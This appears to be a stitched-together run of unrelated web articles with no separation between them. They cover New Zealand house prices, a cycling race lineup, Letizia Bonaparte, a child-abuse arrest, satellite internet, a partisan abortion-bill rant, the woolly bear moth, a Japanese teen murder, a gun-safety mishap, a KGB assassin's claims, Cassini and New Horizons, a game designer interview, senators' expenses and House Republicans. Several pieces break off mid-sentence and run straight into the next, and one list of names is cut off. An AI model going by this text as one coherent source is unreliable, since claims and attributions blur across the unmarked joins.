Slower price rises have also led to a stabilisation in house price expectations among households, although these remain very high with nearly 70 per cent of New Zealanders expecting further gains.
The lower housing turnover and slower price growth has also seen early signs of a fall in housing credit growth.
With recent RP Data - Rismark figures showing Australia posted its strongest monthly home price growth on record (in figures that go back 18 years), the RBA will no doubt be casting an eye over the successes, or otherwise, of its New Zealand counterpart.
Topics: housing-industry, money-and-monetary-policy, banking, business-economics-and-finance, economic-trends, new-zealand, australia
First postedContact Us
STRONGEST FIELD IN RACE HISTORY ANNOUNCED FOR 2017 AMGEN TOUR OF CALIFORNIA
Elite Men’s and Women’s Teams Carrying World and National Champions and Olympic Medalists Will Compete in California in May
LOS ANGELES, Calif. (March 9, 2017) – Team selections have been finalized by AEG, producer and presenter of the 2017 Amgen Tour of California (May 14-20) and the Amgen Breakaway from Heart DiseaseTM Women’s Race empowered with SRAM (May 11-14).
America’s most prestigious cycling event joins the UCI WorldTour this year with 11 WorldTour teams containing some of the world’s most decorated cyclists, including first-ranked, California-based BMC Racing Team. Three Pro Continental and two Continental teams round out the event.
UCI WorldTour Teams (MEN):
Astana Pro Team (KAZ)
BMC Racing Team (USA)
BORA-hansgrohe (GER)
Cannondale-Drapac Pro Cycling Team (USA)
Quick-Step Floors (BEL)
Team Dimension Data (RSA)
Team Sunweb (GER)
Team KATUSHA ALPECIN (SUI)
Team LottoNL-Jumbo (NED)
Team Sky (GBR)
Trek-Segafredo (USA)
UCI Professional Continental Teams (MEN):
Cofidis, Solutions Crédits (FRA)
Team Novo Nordisk (USA)
UnitedHealthcare Pro Cycling Team (USA)
UCI Continental Teams (MEN):
Jelly Belly p/b Maxxis (USA)
Rally Cycling (USA)
Since its inception in 2006, the Amgen Tour of California has become one of the most important races on the international cycling calendar, showcasing the most accomplished cyclists from around the world. In addition, the event provides cyclists the opportunity to preview prospective competition leading to summer’s Tour de France.
Amgen Tour of California veteran Mark Cavendish (GBR) will return with Team Dimension Data. Cavendish turned in his tenth Amgen Tour of California career stage win last year before going on to win his first Olympic medal (silver in Omnium) and the opening stage plus three others in the 2016 Tour de France.
“I've been racing in the Amgen Tour of California for years now, and it's an event I look forward to. Not only are their courses challenging, they are incredibly scenic and attract one of the best groups of fans we see every year. From a team and riders’ perspective, it’s one of the best organized events anywhere and an event that always takes great care of the riders,” said Cavendish, who is nearing the all-time Tour de France stage win record with 30 (the record is 34). “It's become an important part of my preparation for the Tour de France because the race attracts the best, and the competition is intense. It's always a battle but I am hoping to add some more California victories this year."
The Amgen Tour of California has become known for epic sprinter showdowns, and Cavendish will face off with Team KATUSHA ALPECIN’s star sprinter Alexander Kristoff (NOR), BORA-hansgrohe’s all-time Amgen Tour of California stage win record holder Peter Sagan (SVK), Trek-Segafredo’s lauded John Degenkolb (GER) and Cofidis’ Nacer Bouhanni (FRA), who holds multiple stage wins at the Giro d'Italia and the Vuelta a España.
“Racing in California is a challenge and a joy every time. I hope to continue building on the success I've had at the Amgen Tour of California, and know all the riders will do our best to give the incredible fans another good show this year,” said Sagan, who holds the record for the most Amgen Tour of California stage wins (15) and capped off last season by wearing the yellow jersey for the first time at the Tour de France then winning his second World Championship title.
The Amgen Tour of California has also become a race where young riders can make their mark. Last year at age 23, France’s Julian Alaphilippe became the youngest rider in race history to claim overall victory. This year could hold more of the same… Following his breakthrough 2016 season, 23-year-old Columbian rider Miguel Ángel López will make his California debut with Astana Pro Team, and Cannondale-Drapac Pro Cycling Team will bring 25-year-old phenom Lawson Craddock (Austin, Texas), who has racked up strong California results in recent years (3rd overall in 2014; 5th in 2016), and was one of only five U.S. riders to start in the Tour de France last season.
Teammates joining Craddock will include reigning U.S. National Time Trial Champion Taylor Phinney (Boulder, Colo.) and part-time Napa, Calif. resident Andrew Talansky, who held that same national title in 2015 and placed fourth overall at last year’s Amgen Tour of California.
The 2017 Amgen Breakaway from Heart DiseaseTM Women’s Race empowered with SRAM is a four-day road race in Northern California (May 11-14). A victor will be decided in Sacramento on the same day the men begin racing.
Over the course of the last decade, the Amgen Breakaway from Heart DiseaseTM Women’s Race empowered with SRAM has grown from a one-day race to a UCI Women’s |
. Follow him on Twitter @mrocheleNob. Maria Letizia Buonaparte née Ramolino[1] (Marie-Lætitia Ramolino, Madame Mère de l'Empereur) (24 August 1750 – 2 February 1836) was an Italian noblewoman, mother of Napoleon I of France.
Life [ edit ]
She was born in Ajaccio, Corsica, Republic of Genoa, the daughter of Nobile Giovanni Geronimo Ramolino (13 April 1723 – 1755), Captain of Corsican Regiments of Chivalry and Infantry in the Army of the Republic of Genoa, and his wife Nobile Angela Maria Pietrasanta (circa 1725–1790). The distant cousins of the Ramolinos were a low rank of nobility in the Republic of Genoa.
Like most such girls in the 18th century, Letizia was educated at home. After the death of her father, her mother remarried the Swiss-born naval officer Franz Fesch, a captain in the service of the Republic of Genoa stationed on Corsica, and gave birth to two children, among them her half-brother Joseph Fesch.
Marriage [ edit ]
On 2/7 June 1764, when she was thirteen, Letizia married the trainee attorney Carlo Buonaparte, himself only seventeen, at Ajaccio. First pregnant a few months later, she went on to give birth to thirteen children, eight of whom survived infancy,[2] and most of whom were created monarchs by Napoleon.
Deathbed portrait of Maria Letizia Bonaparte.
Letizia and her husband Carlo befriended the island's governor, Charles Louis de Marbeuf and the intendant, Bertrand de Boucheporn whose wife was the godmother of their son Louis (1778), the future king of Holland. These friendships might have helped to have Napoleon admitted to the Brienne cadet school (1779). [3]
She was described as a harsh mother, and had a very down-to-earth view of most things. When most European mothers bathed children perhaps once a month, she had her children bathed every other day. Letizia spoke Italian and Corsican, and never learned French.
In 1785, when she was 35, her husband died of cancer. In 1793, she left Corsica and resettled with her children in Marseilles in France, where her son Napoleon had a successful military career and eventually took power.
Described as frugal and with simple tastes, she did not approve of her son's marriage to the extravagant Josephine de Beauharnais in 1796.
Reign of Napoleon [ edit ]
In 1804, her son Napoleon declared himself Emperor. Despite being depicted in the famous painting of the coronation of Napoleon by David, she did not attend her son's coronation. By decree, she was decreed "Madam, the Mother of His Imperial Majesty The Emperor" (Madame Mère de l'Empereur), Imperial Highness, on 18 May 1804 or 23 March 1805. Napoleon paid her 25,000 francs a month.[4]
She did not attend the Imperial court and normally lived at the Chateau de Pont-sur-Seine, residing at the Hotel de Brienne on the rare occasions when she did visit Paris.
In 1814, she shared Napoleon's exile in Elba, where he treated her fondly.[5]
Later life [ edit ]
After 1815 she moved to Rome, in Palazzo D'Aste-Bonaparte in piazza Venezia, where she lived out her days with her younger brother Joseph Fesch. During her years in Rome, she rarely saw any other family members than her brother, who rarely left her.[6] For a time the painter Anna Barbara Bansi served as her companion.[7]
She died of old age in 1836, aged 85, three weeks before the 51st anniversary of her husband's death. By then she was nearly blind and had outlived her most famous son Napoleon by 15 years.
Issue [ edit ]
Arms [ edit ]
Coat of arms of Maria Letizia Buonaparte
See also [ edit ]
References [ edit ]A Delaware pediatrician and his wife have been arrested after their 11-year-old daughter accused her father of "waterboarding" her, state police say.
Dr. Melvin Morse is accused of waterboarding his 11-year-old daughter. (Delaware State Police)
The girl told police that her father, Dr. Melvin Morse, 58, would hold her under a faucet and force water up her nose, according to a CNN report.
Pauline Morse, 40, the girl’s mother, did nothing to stop the abuse, which happened at least four times over a two-year period, police said.
The doctor is the author of a book about near-death experiences in children and was interviewed about the subject by CNN’s Larry King.
In July Morse was accused of dragging his daughter by the ankle across a gravel driveway and spanking her at the family home in Georgetown. The girl was interviewed after her father was arrested at that time, and it was then that she reported the punishment her father called "waterboarding," police said.
Morse and his wife were arrested on Aug. 7 and charged with reckless endangerment, conspiracy and endangering the welfare of a child, police said.
The doctor remains in custody, but his wife has been released on bail. The 11-year-old and her five-year-old sister are being looked after by family services, while their parents have been ordered to have no contact with them.
The Delaware News Journal reported that in court documents the girl said her father told her "she could go five minutes without brain damage" during the waterboarding punishment.
The girl said her father would "sometimes look away while he did it and (redacted) would become afraid that he would lose track of time and she would die," according to the documents.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Sep. 2, 2016, 7:05 PM GMT / Updated Sep. 2, 2016, 7:05 PM GMT By Alyssa Newcomb
Elon Musk and Mark Zuckerberg have something else in common beyond the nine zeroes in their net worths: Both have the ambition to leverage space as the next frontier in providing internet service.
While building a space-based internet is not a new idea, it's one that has taken off once again largely due to new technology and lower launch costs.
"Now with even faster computers and cheaper satellites, there is a whole lot of interest in creating a bunch of new systems to do this," James Muncy, co-founder of the Space Frontier Foundation told NBC News.
Facebook CEO Mark Zuckerberg speaks at the 2016 Global Entrepreneurship Summit at Stanford University. Justin Sullivan / Getty Images
On Thursday, an Amos 6 satellite that Facebook had leased access on was destroyed in a launch pad explosion at Cape Canaveral, along with the SpaceX rocket that was set to carry it into orbit.
Facebook's leased space on the satellite was set to serve parts of sub-Saharan Africa and was one key piece in Zuckerberg's plan to connect the world. The other, Facebook's internet beaming drone, Aquila, is designed to fly in the stratosphere, at the edge of space.
The Amos 6 satellite would have gone into a geosynchronous orbit, putting it at about 22,000 miles away from Earth and acting as a router, allowing local entrepreneurs to sell Wi-FI to the public.
Musk, an entrepreneur known for pushing the envelope with big ideas, wants a network of thousands of low cost satellites put into low Earth orbit.
He said last year the plan "would be like'rebuilding the internet in space.'"
Teledesic, a company that counted Bill Gates and a Saudi prince as backers, had a similar plan in the mid-1990s that never came to fruition.
While the network wouldn't immediately replace all hard-wired communications, they would better handle communication across long distances, Musk said. With satellites in low Earth orbit, it would take milliseconds to send a message across a long distance, versus having to route that message through a satellite in geosynchronous orbit 22,000 miles above Earth.
Jim Cantrell, CEO at Vector Space Systems and a founding member of SpaceX, told NBC News, "the reality is outside of populated areas critical infrastructure doesn't really exist."
Cantrell sees a space-based internet as an opportunity for businesses that are driven by clicks, such as Facebook, to reach new markets.
"There is an economic and idealistic goal associated with this but if it doesn't pay for itself nobody is going to do it," he said.
Virgin Galactic and Qualcomm announced last year they were teaming up with satellite company OneWeb to plan a similar satellite system to foster high-speed worldwide connectivity.
Read More: SpaceX Rocket Explosion Destroys Facebook Internet Satellite
For Zuckerberg, who has made connecting the world his personal mission, the loss of Facebook's first satellite on Thursday was devastating.
The CEO, who has been visiting government leaders, entrepreneurs and developers on the African continent this week, couldn't hide his disappointment in a Facebook post.
"As I'm here in Africa, I'm deeply disappointed to hear that SpaceX's launch failure destroyed our satellite that would have provided connectivity to so many entrepreneurs and everyone else across the continent," Zuckerberg wrote.
"Fortunately, we have developed other technologies like Aquila [Facebook's internet drone] that will connect people as well," he continued. "We remain committed to our mission of connecting everyone, and we will keep working until everyone has the opportunities this satellite would have provided."SB 1552 on Oklahoma is an abortion of an abortion law.
Oh, LOLklohoma where the derp comes sweeping down the plain…
SB 1552 is a bill that just rocketed through the overwhelmingly Republican state legislature in the Sooner State of Oklahoma. The bill, which will hit Republican Governor Mary Fallin’s desk very soon, would effectively end abortion in the state. Yes, you read it right — Oklahoma Republicans have found a way (they think) to stop abortions cold. How?
By making it illegal to perform an abortion for anything other than a miscarriage or to save the fetus, and by stripping any doctor who performs an abortion for any other reason of their medical license.
That means, if you’re paying attention, that both rape victims and mothers whose lives are threatened by their pregnancy cannot seek to end their pregnancies. And yes, there are criminal penalties attached to SB 1552, thereby making a doctor who helps a victim of rape or incest get rid of her rape baby a felon.
Can you see why I said the derp’s sweeping down the plain now?
What’s really galling is conservative self-imposed ignorance on what actually prevents abortions in the first place — access to contraceptives and sex ed. Colorado conclusively proved this with a pilot program in their state not that long ago, but to listen to conservatives, if we talk about sex with people they’re just inclined to immediately to go out fuckin’ the night away without any regard for the consequences. Again, that’s patently absurd when you consider that what we liberals are trying to impart to people is knowledge of the safest and most cautious ways to have sex not intended for procreation, but hey, intellectual honesty isn’t always in play no matter what the issue.
Oklahoma Republicans have said, “Fuck Rape Victims.”
I know that social conservatives scoff at the rape victim angle, but that’s because they’re being shortsighted. In their mind, since a relatively minor percentage of abortions are performed due to rape or incest, that means it’s either a) a liberal, made-up Boogey man, or b) it’s just not as important as the MILLIONS OF DED BEBBES that will not be born because these evil women are controlling their own destinies and lives.
What bunk.
For starters, rape and incest are not nearly reported as often as they are perpetrated. We have genuinely no clue how many abortions are performed because of rape or incest and how many aren’t. If we can’t get a true handle on how many women are raped in a given year, how can we ever get a handle on the number of rape-related abortions? Again, it’s shortsighted and silly of social conservatives, but then again, they often argue that since millions of Americans aren’t killed by guns every year, we have no reason to pass new gun laws, so statistics and conservatives have an odd relationship from time to time.
But if you’re looking for a conservative argument against this stupid bill, you don’t have to try too hard.
If signed by Fallin into law, I can promise you that several liberal groups, if not the Department of Justice itself, will file suit. The law will be suspended while it’s under review, and even if it wins in lower courts, you will eventually see the law being argued in before the Supreme Court. It will cost the state millions and millions of dollars to defend their ideological crusade against female sexual autonomy. And all that money will be wasted unless the Republicans pull off a major upset and win the White House in November, opening up a window through which they can cram a replacement for the thankfully deceased Justice Scalia.
There is nothing fiscally responsible about plunging your broke-ass state into further economic peril over something you know you can’t win, and lost decades ago. But then again, the culture war is pretty much the only thing social conservatives care about, so why should they care if the government they hate so much wastes their tax dollars they hate so much attacking a constitutional right they misunderstand so completely?Pyrrharctia isabella, the isabella tiger moth, banded woolly bear or just woollybear or woolly worm, occurs in the United States and southern Canada.[1][2][3][4] The first European to describe it was James Edward Smith in 1797.
Appearance [ edit ]
The thirteen-segment larvae are usually covered with brown hair in their mid-regions and black hair in their anterior and posterior areas. In direct sunlight, the brown hair looks bright reddish brown. Adults are generally dull yellowish through orangish and have robust, scaly thorices; small heads; and bright reddish-orange forelegs. Wings have sparse black spotting.[citation needed]
The Isabella Tiger Moth (Pyrrharctia isabella) can be found in many cold regions, including the Arctic. The banded Woolly Bear larva emerges from the egg in the fall and overwinters in its caterpillar form, when it literally freezes solid. First its heart stops beating, then its gut freezes, then its blood, followed by the rest of the body. It survives being frozen by producing a cryoprotectant in its tissues. In the spring it thaws.[citation needed]
Larval setae do not inject venom and are not urticant; they do not typically cause irritation, injury, inflammation, or swelling.[5] Handling larvae is discouraged, however, because their sharp, spiny hairs may cause dermatitis in some people. When disturbed, larvae defend themselves by playing possum (rolling up into balls and remaining motionless) and quickly crawling away.[citation needed]
Head of a caterpillar
Adult isabella tiger moth
Caterpillar foraging
Diet [ edit ]
This species is a generalist feeder, consuming many plant species, including herbs and trees.[6]
Related species [ edit ]
Research[7] has shown that the larvae of a related moth, Grammia incorrupta (whose larvae are also called "woollybears"), consume alkaloid-laden leaves that help fight off internal parasitic fly larvae. This phenomenon is said to be "the first clear demonstration of self-medication among insects." Within the same family, the larvae of the garden tiger moth (Arctia caja) are also known as woollybear caterpillars and consume an alkaloid diet similar to Grammia incorrupta.
In culture [ edit ]
Folklore [ edit ]
Canadian and U.S. folklore holds that the relative amounts of brown and black hair on a larva indicate the severity of the coming winter. It is believed that if a Pyrrharctia isabella's brown band is wide, winter weather will be mild, and if the brown band is narrow, the winter will be severe. In a variation of this story, the color of stripes predict the winter weather, with darker stripes indicating a harsher winter. In reality, hatchlings from the same clutch of eggs can display considerable variation in their color banding, and a larva's brown band tends to widen with age as it molts.[8]
Another version of this belief is that the direction in which a Pyrrharctia isabella crawls indicates the winter weather, with the caterpillar crawling south to escape colder weather. There is no scientific evidence for winter weather prediction by Pyrrharctia isabella. [9]
Woollybear festivals [ edit ]
Woollybear festivals are held in several locations in the fall.This article is over 4 years old
Teenager arrested on suspicion of murdering 15-year-old after police discovered dismembered body in suspect's home
Schoolgirl 'beheaded classmate because she wanted to dissect someone'
A 16-year-old Japanese schoolgirl has confessed to decapitating a classmate, police have said, as she reportedly told investigators she "wanted to dissect" someone.
The teenager, whose name was not released as she is a minor, was arrested on Sunday on suspicion of murdering her 15-year-old female classmate, after police discovered the dismembered body on a bed in the suspect's home.
The accused has admitted she strangled the victim before severing her head and left hand, "using tools … and something like a cord", a police investigator told AFP.
"The victim was found decapitated, with her left wrist chopped off," the investigator said, adding that the murder likely took place on Saturday evening.
The two girls attended the same high school in Sasebo, a city in south-west Japan, police said.
Police discovered tools, including hammers and a saw, at the suspect's apartment, the Yomiuri newspaper reported.
The girl lived on her own after her mother died of cancer last year, but her father and stepmother live in the same city, reports said.
"I wanted to kill someone. I bought tools by myself," the Yomiuri quoted the girl as telling police.
Sports Nippon newspaper said the alleged killer told police she "wanted to dissect" a body, adding that the victim's belly was cut open.
The police official declined to confirm the reports, saying: "We are investigating her motive for the crime, and we're not going to disclose other information."
Violent crime is relatively rare in Japan, but several high-profile cases involving young people in recent years have heightened public concern.
Sasebo had already made headlines in 2004 when a primary schoolgirl stabbed her classmate to death.
In 2008, a man went on a stabbing rampage in a crowded Tokyo shopping street, killing seven people and wounding a dozen others. That incident occurred seven years to the day after a knife-wielding janitor killed eight primary schoolchildren, leaving the country in shock.
In 1997, a 14-year-old was arrested for the murder of two schoolchildren. The head of one of the victims was left in front of his school gates.A 76-year-old gun safety instructor accidentally discharged his weapon in the cafeteria of Minnesota’s Salem Lutheran Church and School. The instructor resigned following the incredibly ironic incident.
According to the police report, someone in the class approached the instructor with a question about a 1911 Colt 45 handgun that was safely locked away in the instructor’s gun case. The instructor then picked up the gun and used it as a visual aide while answering the question. To his credit, the instructor properly followed the National Rifle Association’s first rule of gun safety: Always keep the gun pointed in a safe direction. The instructor kept the gun pointed away from the eight children and their parents who were present.
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And it’s a good thing that he did – the handgun discharged. Luckily, nobody was injured. The bullet penetrated the wall of the cafeteria.
The problem is that the instructor missed one of the other commandments of gun safety: Always assume that all guns are loaded. The instructor told police that he “assumed the weapon was empty."
The Stillwater City Attorney’s Office chose not to press any charges following positive testimonials from the parents. Despite the adrenaline-pumping scare, the parents acknowledged that the gun was never pointed towards anyone and that the instructor exercised “good muzzle control.”
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The instructor was also profusely apologetic. He told police and school officials, “You gentlemen can’t imagine the embarrassment I feel towards myself for what took place. I am completely sorry for the incident that took place.”
In a perverse sort of way, the instructor actually did his job. He successfully demonstrated the importance of gun safety, though the students and parents probably would have preferred pie charts and a cautionary tale instead of a live demonstration. Regardless, the incident served as a lesson that those students and parents won’t soon forget.
Source: Stillwater Patch
undefinedOne of the KGB’s master assassins reared his head in Kyiv this summer.
Bohdan Stashynsky killed two Ukrainian émigré nationalists in Munich in the late 1950s and then, after defecting to West Berlin in 1961 and being tried in Karlsruhe in 1962, he received an eight-year prison sentence, was released after four, and then proceeded to fall off the face of the earth. Now, at 80, the ex-assassin has apparently decided to set the record straight by telling his side of the story to journalist Natalya Prykhodko. As Prykhodko tells it, she’d been contacted by a retired officer of the Ukrainian Security Service who said Stashynsky “feared dying and taking some secrets to his grave. And why you? Because I vouched for you.”
If the man who spoke with Prykhodko is the genuine article, and if he was telling the truth, then he had some interesting things to say. For starters, he confirms the long-standing émigré suspicion that the unexpected death, in London in early 1957, of Danylo Skoropadsky, the son and heir of Hetman Pavlo Skoropadsky, the leader of the Ukrainian monarchist movement, was the work of another KGB assassin testing a prototype of the poison air gun Stashynsky used on his victims, Lev Rebet in late 1957 and Stepan Bandera in late 1959. Stashynsky also confirms another long-standing suspicion—that the émigré nationalists in Munich were completely penetrated by Soviet agents, who smoothed the way for Stashynsky with vital intelligence: “my agents were even in Bandera’s closest surroundings and eventually came to occupy high posts” in the movement.
Stashynsky’s most sensational revelation, however, concerns his defection. That, apparently, was a ruse developed by the head of the Soviet KGB, Aleksandr Shelepin: “Shelepin called me in for a confidential conversation that took place in Moscow, outside, and told me about his plan: I should travel again to West Germany and surrender to the authorities and afterwards, during the investigation and trial, tell them about my involvement in the killing of Bandera.” After Prykhodko says, “That’s odd. Why would Shelepin want that?,” Stashynsky continues: “He wasn’t taken seriously—either in the USSR, or abroad…. But he wanted to become the formidable head of a formidable secret service. He wanted everyone to fear his avenging sword. Our arms are, so to speak, long and can reach anybody. It was decided to sacrifice me. It was calculated that I’d get at most ten years. But it was necessary to develop a detailed and irrefutable legend.”
In sum, the story Stashynsky spun at his trial—that he had been dragooned into the secret police, that he had decided to defect after falling in love with an East German woman, that he had been the victim of the Soviet system—was all a lie. That lie, by the way, worked. Eight years was a remarkably light sentence for two murders, and even Ukrainian émigré supporters of Bandera and Rebet believed that Stashynsky had been forced to act against his will.
That said, is today’s Stashynsky telling the truth? If, as he suggests, he was a Communist true believer from the start, then he might’ve figured that getting ten years for the good of the cause was a small price to pay for killing two enemies of the people. Alternatively, if he wavered, who was he to dispute the word of the almighty head of the Soviet secret police? Last but not least, both a true believer and a waverer might have figured that his family in Ukraine would have been subject to reprisals in case of his refusal.
In any case, Stashynsky says that, after being released in 1966, he was taken to Washington, “where they suspected a double game” (three cheers for the CIA) and dumped him in Panama. He stayed there until the coup of October 1968, at which point the story gets even more sensational: “There was chaos in the country and the American mission was attacked. In this situation I was simply extracted and transported to Paraguay. The KGB conducted the operation” (no cheers for the CIA). “I was then transferred to Africa, where I had plastic surgery and only in 1970 did I return to the USSR. At first I lived in Moscow and then, after retiring, I returned to Kyiv.”
In case you’re wondering, Stashynsky remains unrepentant about the assassinations. “I expressed my opinion [sic] about Bandera in 1959. I haven’t changed my position since then.”Scientists are about to get their best look ever at the ocean that sloshes beneath the surface of Saturn's icy moon Enceladus.
On Wednesday (Oct. 28), NASA's Cassini spacecraft will zoom just 30 miles (50 kilometers) above Enceladus, flying through and sampling the plume of material that erupts from the satellite's south polar region.
This plume is thought to originate from Enceladus' underground liquid-water ocean, so Cassini's onboard sample analysis should shed light on the moon's potential to host life, mission team members said. [Watch how Cassini will sail through Enceladus' icy plumes]
"On Wednesday, we will plunge deeper into the magnificent plume coming from the south pole than we ever have before, and we will collect the best samples ever from an ocean beyond Earth," Curt Niebur, Cassini program scientist at NASA Headquarters in Washington, D.C., said during a news conference today (Oct. 26).
Cassini is not equipped to search for signs of life, but the probe's measurements should help researchers assess the habitability of Enceladus' global ocean, Niebur added.
There are three main science objectives for the flyby, said Cassini project scientist Linda Spilker, who's based at NASA's Jet Propulsion Laboratory in Pasadena, California: The mission team aims to confirm the presence of molecular hydrogen in the plume, which would provide evidence for hydrothermal activity (a potential energy source for life) in the ocean. The team also hopes to characterize the plume's chemistry (perhaps finding previously undetected organic compounds) and determine the nature of the plume sources (discrete jets versus broader, curtainlike eruptions).
The flyby will occur at about 1 p.m. EDT (1700 GMT) Wednesday. Cassini will check in with mission control about 3 hours later, but the first encounter images likely won't be released until late Thursday or early Friday, Spilker said.
Scientists will probably get their first quick look at Cassini's spectrometer data on the sampled plume particles within a week after the flyby, but more in-depth analysis may take several weeks, she added.
Wednesday's close encounter will mark the 21st flyby of Enceladus for Cassini, which has been orbiting Saturn since 2004 and discovered the moon's icy geysers in 2005. Cassini has flown through the plume before, but its previous closest approach to the south polar region was 50 miles (80 km).
So Wednesday's event is pretty special, Spilker said.
"There's a lot of excitement about this particular flyby," she said. "We're certainly all eagerly awaiting the scientific results from this deep plunge through the plume."
After Wednesday, Cassini will have one more flyby of Enceladus remaining before the end of its mission, in September 2017. On Dec. 19 of this year, the spacecraft will cruise within 3,106 miles (4,999 km) of the icy satellite, making observations that should allow mission scientists to gauge the heat flowing from Enceladus' interior.
The $3.2 billion Cassini mission, a joint effort involving NASA, the European Space Agency and the Italian Space Agency, launched in 1997.
Copyright 2015 SPACE.com, a Purch company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.The New Horizons science team has published new findings from their mission to Pluto in a series of 5 articles in the journal Science. The data from the papers reveal that Pluto is much more geologically diverse and dynamic than anyone could have imagined.
“These five detailed papers completely transform our view of Pluto – revealing the former ‘astronomer’s planet’ to be a real world with diverse and active geology, exotic surface chemistry, a complex atmosphere, puzzling interaction with the sun and an intriguing system of small moons.” Alan Stern, New Horizons principal investigator
Even though less than half of New Horizons data has been transmitted back home to date, the science team has already had their work cut out for them. NASA described the findings of Pluto as “more interesting and puzzling than models predicted.”
A dense hazy atmosphere, floating icy hills, and an icy surface that appears to have changed in recent history and may be actively changing today are just a few of the discoveries that have come out of the New Horizons mission.
Much of the geological diversity stems from the multiple volatile ices on the surface. Pluto has methane, nitrogen and carbon monoxide ice that seem to go through freezing and precipitation (perhaps snow) cycles.
These cycles occur as Pluto moves closer to and farther away from the sun during its 248-year, highly elliptical orbit. When Pluto is farther away from the sun, part of its atmosphere can freeze and fall to the ground. When it comes closer to the sun, the surface ice will sublimate back into gas.
On Earth, the only molecule that constantly goes through similar large-scale cycles is water.
High resolution imagery of Pluto’s surface have revealed what scientists believe to be floating icy mountains. According to a NASA press release, Pluto’s nitrogen ice glaciers appeared to be carrying “numerous, isolated hills that may be fragments of water ice from Pluto’s surrounding uplands.”
Water ice can float on nitrogen ice because water ice is simply less dense than frozen nitrogen. This scenario would mean that mounds of water ice are actively moving across Pluto’s icy surface over time, making the dwarf planet much more of a dynamic world that we previously believed.
Pluto’s atmosphere particularly surprised the New Horizons team.
“We’ve discovered that pre-New Horizons estimates wildly overestimated the loss of material from Pluto’s atmosphere. The thought was that Pluto’s atmosphere was escaping like a comet, but it is actually escaping at a rate much more like Earth’s atmosphere.” – Fran Bagenal, University of Colorado, Boulder, lead author of the particles and plasma Pluto paper
With new data from the New Horizons mission, it’s now believed that Pluto’s atmosphere contains layered hazes and is colder and denser than expected.
New Horizons launched on January 19th, 2006 and traveled 3 billion miles over the course of 9 and a half years to reach Pluto. At the time of launch, Pluto was still considered a regular planet. It wasn’t until August of 2006 that the International Astronomical Union voted to demote Pluto to dwarf planet status. That decision is still debated in some scientific circles to this day.
On July 14th, 2015, the spacecraft had reached its destination and performed a successful flyby of Pluto, providing the very first close-up look at the dwarf planet. Prior to New Horizons, our best picture of Pluto was a grainy, blurry image provided by the Hubble Space Telescope. During its approach, New Horizons sent back a now-iconic image of Pluto, complete with a heart-shaped geological feature on the surface.
To scientists, Pluto had always been a bit of an oddball. The small dwarf planet has about 6 percent the gravity of Earth, it has a higher orbital inclination than the other solar system planets and it rotates at a fairly extreme tilt. Its orbit brings it much farther away from the sun in an area known as the “third zone” of the solar system.
Visualization of the extreme tilt of #Pluto's axis compared to Mercury, Moon, Earth, and Mars. #LPSC2016 pic.twitter.com/S3shA1QmqD — Kimberly EnnicoSmith (@kennicosmith) March 21, 2016
Exploration missions have focused on larger and closer bodies in the first zone (innermost terrestrial planets) and even the second zone (outer gas giants), but not much was known about planetary bodies like Pluto in the third zone.
New Horizons was the first mission to explore this “new” type of planetary world.
Because of its distance from Earth, data from New Horizons, traveling at the speed of light, takes 5 hours to reach us. Using its 7 science instruments, the mission captured 50 gigabits worth of data during the 9 days surrounding the flyby.
With the rest of the data expected back by the end of this year, we’re likely to see even more Pluto discoveries in the months to come.Igarashi On His Most Memorable Boss Fights From Castlevania
By Ishaan. June 1, 2015. 10:34am
Seeing its latest stretch goals reached, Bloodstained: Ritual of the Night is headed to the Wii U. Alongside that announcement, project lead Koji Igarashi has also shared another YouTube video in which he answers more fan questions with creepy music playing in the background.
The highlight of the Q&A this time around is Iga talking about his favourite or most memorable bosses from previous games he’s worked on. Igarashi mentions two, and you can read his quotes below, accompanied by a look at the bosses in question.
The Forgotten One from Castlevania: Lament of Innocence:
Iga: I’d have to say my most memorable boss is actually from a 3D title, the Forgotten One from Lament of Innocence. People were quite shocked at how disturbing it was. Even the rating got bumped up to Mature. That one was a doozy to get through, so I’ll never forget it.
Abaddon from Castlevania: Dawn of Sorrow:
Iga: As far as gameplay goes, Abaddon from Dawn of Sorrow attacks with a hoard of locusts. You can’t defeat the locusts, you just have to dodge there. But there is one special way to eliminate them. It really provided a great deal of scope to the gameplay, and it was a lot of fun.
Bloodstained: Ritual of the Night is in development for PC, Xbox One, PlayStation 4, and Wii U.Seven retired senators are facing legal action to recoup cash they owe for illegitimate expense claims.
The total amount owed tops $528,000.
An eighth retired senator did not receive notification on time and has been granted an extension to repay.
The deadline to repay monies owed was end of day Thursday.
All sitting senators are paid up. Those members could have faced other penalties, including garnisheed wages.
The chair and deputy chair of the standing committee on internal economy, budgets and administration, senators Leo Housakos and Jane Cordy, issued a statement: "The Senate has been clear about its intention to take legal action in order to recoup any monies owing by non-sitting senators," it read. "To that end, the Senate law clerk has been instructed to seek outside legal counsel to initiate such action."
Outstanding money owed
The senators who still owe money are:House Republicans, bedeviled by mistrust, infighting and influential outside forces, are struggling to advance an Obamacare repeal package and prove that their majority can deliver results.
The American Health Care Act, on the surface, is bogged down over a debate about whether the bill provides adequate coverage guarantees for Americans with pre-existing medical conditions.
But veteran House Republicans said in interviews Tuesday that their problems run deeper. They lack the unity, mindset and political will to make the hard choices required to govern.
The healthcare breakdown is just another symptom of this broader political virus that seems immune to all antibodies, including President Trump, the Republican who took up residence in the White House in January.
"The failure here has not been in our leadership, it's certainly not been in the president, it's been in our inability to overcome our own differences and our lack of trust in one another," Rep. Tom Cole, R-Okla. said.
House Republicans won 247 seats in 2017, providing a 29-seat cushion above the 218 votes they need to pass legislation. It's a historic House majority for the GOP, yet not enough (apparently) to get big things like healthcare done.
Even the omnibus spending bill, negotiated by President Trump to fund the remainder of fiscal 2017, was on track to pass the House without 218 Republican votes thanks to bipartisan support from the Democrats.
In all, it's a familiar outcome for House Republicans.
During their six years in power under President Barack Obama, they periodically failed to advance conservative legislation because they couldn't reach internal consensus. Must-pass spending legislation typically relied on Democratic votes to clear.
Republicans just didn't expect the dysfunction to continue after Trump took office, and with House Speaker Paul Ryan, R-Wis., calming the restlessness that had built up after nearly a decade of John Boehner at the top as minority leader and speaker.
"There may come a reckoning between the president and some members of the Republican House to where there needs to be a showdown and he needs to take a stand," Rep. Tom Rooney, R-Fla., said.
Indeed, governing was supposed to get easier with the prospect of seeing priorities such as the repeal and replacement of Obamacare signed into law by Trump, and with outside pressure to oppose Obama becoming irrelevant.
Some Republican insiders fault missteps by Ryan and the president. But in interviews |
